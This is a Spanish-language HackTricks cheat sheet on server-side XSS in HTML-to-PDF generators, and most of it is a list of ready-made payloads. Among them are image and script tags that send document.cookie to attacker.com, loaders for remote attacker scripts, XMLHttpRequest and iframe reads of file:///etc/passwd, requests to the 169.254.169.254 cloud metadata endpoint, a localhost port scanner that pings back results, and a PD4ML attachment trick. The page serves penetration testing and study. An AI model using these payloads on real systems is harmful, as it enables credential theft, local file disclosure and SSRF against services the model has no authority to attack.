Server Side XSS (Dynamic PDF)

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

XSS en el lado del servidor (PDF dinámico)

Si una página web está creando un PDF utilizando la entrada controlada por el usuario, puedes intentar engañar al bot que está creando el PDF para ejecutar código JS arbitrario. Entonces, si el bot creador de PDF encuentra algún tipo de etiquetas HTML, las va a interpretar, y puedes abusar de este comportamiento para causar un XSS en el servidor.

Por favor, ten en cuenta que las etiquetas <script></script> no siempre funcionan, por lo que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de <img ). Además, ten en cuenta que en una explotación regular podrás ver/descargar el PDF creado, por lo que podrás ver todo lo que escribas a través de JS (usando document.write() por ejemplo). Pero, si no puedes ver el PDF creado, probablemente necesitarás extraer la información haciendo una solicitud web hacia ti (Ciego).

  • wkhtmltopdf es conocido por su capacidad para convertir HTML y CSS en documentos PDF, utilizando el motor de renderizado WebKit. Esta herramienta está disponible como una utilidad de línea de comandos de código abierto, lo que la hace accesible para una amplia gama de aplicaciones.

  • TCPDF ofrece una solución sólida dentro del ecosistema de PHP para la generación de PDF. Es capaz de manejar imágenes, gráficos y cifrado, lo que muestra su versatilidad para crear documentos complejos.

  • Para aquellos que trabajan en un entorno Node.js, PDFKit presenta una opción viable. Permite la generación de documentos PDF directamente desde HTML y CSS, proporcionando un puente entre el contenido web y los formatos imprimibles.

  • Los desarrolladores de Java podrían preferir iText, una biblioteca que no solo facilita la creación de PDF, sino que también admite funciones avanzadas como firmas digitales y rellenado de formularios. Su conjunto de funciones completo lo hace adecuado para generar documentos seguros e interactivos.

  • FPDF es otra biblioteca de PHP, distinguida por su simplicidad y facilidad de uso. Está diseñada para desarrolladores que buscan un enfoque sencillo para la generación de PDF, sin necesidad de funciones extensas.

Payloads

Descubrimiento

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Cualquiera de los payloads anteriores o siguientes puede ser utilizado dentro de este payload SVG. Se incluyen como ejemplos un iframe accediendo al subdominio de Burpcollab y otro accediendo al endpoint de metadatos.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Puedes encontrar otros payloads SVG en https://github.com/allanlw/svg-cheatsheet

Divulgación de ruta

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Cargar un script externo

La mejor forma de aprovechar esta vulnerabilidad es abusar de ella para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar el payload localmente y hacer que el bot lo cargue con el mismo código cada vez.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Leer archivo local / SSRF

Cambia file:///etc/passwd por http://169.254.169.254/latest/user-data por ejemplo para intentar acceder a una página web externa (SSRF).

Si se permite SSRF, pero no puedes alcanzar un dominio o IP interesante, consulta esta página para posibles bypass.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Retraso del bot

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Escaneo de puertos

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que intenta explotarla (¿leer algunos metadatos?).

Archivos adjuntos: PD4ML

Existen algunos motores de HTML a PDF que permiten especificar archivos adjuntos para el PDF, como PD4ML. Puedes abusar de esta característica para adjuntar cualquier archivo local al PDF. Para abrir el archivo adjunto, abrí el archivo con Firefox y hice doble clic en el símbolo de clip para guardar el archivo adjunto como un nuevo archivo. Capturando la respuesta en PDF con Burp también debería mostrar el archivo adjunto en texto claro dentro del PDF.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización